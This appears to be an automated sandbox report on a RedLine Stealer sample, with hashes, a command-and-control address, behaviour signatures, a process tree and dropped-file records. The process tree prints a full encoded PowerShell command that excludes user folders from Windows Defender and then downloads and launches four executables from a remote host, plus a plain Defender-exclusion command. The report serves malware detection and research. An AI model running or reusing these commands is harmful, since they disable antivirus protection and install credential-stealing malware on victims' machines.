Analysis

  • max time kernel
    189s
  • max time network
    218s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2023, 13:32

General

  • Target

    77d29818be0d01c38545baa0bd4551c6853c224b.exe

  • Size

    365KB

  • MD5

    343adbd49e24d1bdec30f634f4055da8

  • SHA1

    77d29818be0d01c38545baa0bd4551c6853c224b

  • SHA256

    404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c

  • SHA512

    4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f

  • SSDEEP

    6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:704
      • C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
        "C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2948
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1668
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1760
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:4124
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:384
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                  PID:4460
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 384 -s 156
                  6⤵
                  • Program crash
                  PID:4180
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:2068
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:928
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 140
            3⤵
            • Program crash
            PID:4040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:496
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2948 -ip 2948
        1⤵
          PID:2328
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 384 -ip 384
          1⤵
            PID:2056

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                  Filesize

                  53KB

                  MD5

                  124edf3ad57549a6e475f3bc4e6cfe51

                  SHA1

                  80f5187eeebb4a304e9caa0ce66fcd78c113d634

                  SHA256

                  638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

                  SHA512

                  b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  19KB

                  MD5

                  18fb295843bc5c212316a6239f0d3dd3

                  SHA1

                  4d04dac84abf4d0746a715fe963de1f5ffe8061a

                  SHA256

                  f2907718bda50475af6edf5d9d3eb580edf5c7ca9302740324e6c8296274600f

                  SHA512

                  e465f9d551afad43aa407da0ce5788e4355483c6af26a983c911d5e037cbbbe42c4f4e574fc43cd41f67835d2bda57f153c64b9d9f84c6c5cc9ecbde0d7579d8

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                  Filesize

                  3.7MB

                  MD5

                  f5c51e7760315ad0f0238d268c03c60e

                  SHA1

                  85ebaaa9685634143a72bc82c6e7df87a78eed4c

                  SHA256

                  ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                  SHA512

                  d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • memory/496-181-0x000001D3D6030000-0x000001D3D6052000-memory.dmp

                  Filesize

                  136KB

                • memory/496-184-0x000001D3D6390000-0x000001D3D63AC000-memory.dmp

                  Filesize

                  112KB

                • memory/1668-139-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/1668-133-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/1760-146-0x0000000005D70000-0x0000000005D8E000-memory.dmp

                  Filesize

                  120KB

                • memory/1760-148-0x0000000073A70000-0x0000000073ABC000-memory.dmp

                  Filesize

                  304KB

                • memory/1760-155-0x00000000073E0000-0x00000000073FA000-memory.dmp

                  Filesize

                  104KB

                • memory/1760-156-0x0000000007280000-0x0000000007288000-memory.dmp

                  Filesize

                  32KB

                • memory/1760-157-0x0000000007420000-0x0000000007442000-memory.dmp

                  Filesize

                  136KB

                • memory/1760-158-0x0000000008300000-0x00000000088A4000-memory.dmp

                  Filesize

                  5.6MB

                • memory/1760-153-0x0000000007340000-0x00000000073D6000-memory.dmp

                  Filesize

                  600KB

                • memory/1760-152-0x0000000007100000-0x000000000710A000-memory.dmp

                  Filesize

                  40KB

                • memory/1760-151-0x0000000007090000-0x00000000070AA000-memory.dmp

                  Filesize

                  104KB

                • memory/1760-150-0x00000000076D0000-0x0000000007D4A000-memory.dmp

                  Filesize

                  6.5MB

                • memory/1760-149-0x0000000006300000-0x000000000631E000-memory.dmp

                  Filesize

                  120KB

                • memory/1760-154-0x00000000061E0000-0x00000000061EE000-memory.dmp

                  Filesize

                  56KB

                • memory/1760-147-0x0000000006320000-0x0000000006352000-memory.dmp

                  Filesize

                  200KB

                • memory/1760-141-0x0000000002460000-0x0000000002496000-memory.dmp

                  Filesize

                  216KB

                • memory/1760-145-0x00000000050B0000-0x0000000005116000-memory.dmp

                  Filesize

                  408KB

                • memory/1760-144-0x0000000005040000-0x00000000050A6000-memory.dmp

                  Filesize

                  408KB

                • memory/1760-143-0x0000000004EE0000-0x0000000004F02000-memory.dmp

                  Filesize

                  136KB

                • memory/1760-142-0x0000000005130000-0x0000000005758000-memory.dmp

                  Filesize

                  6.2MB

                • memory/2068-179-0x00000000022D5000-0x00000000027D9000-memory.dmp

                  Filesize

                  5.0MB

                • memory/2068-180-0x00000000022D5000-0x00000000027D9000-memory.dmp

                  Filesize

                  5.0MB

                • memory/4124-178-0x00000000053C0000-0x00000000053CA000-memory.dmp

                  Filesize

                  40KB

                • memory/4124-168-0x0000000004E80000-0x0000000004F12000-memory.dmp

                  Filesize

                  584KB

                • memory/4124-164-0x00000000004A0000-0x000000000060C000-memory.dmp

                  Filesize

                  1.4MB

                • memory/4460-171-0x0000000000400000-0x0000000000420000-memory.dmp

                  Filesize

                  128KB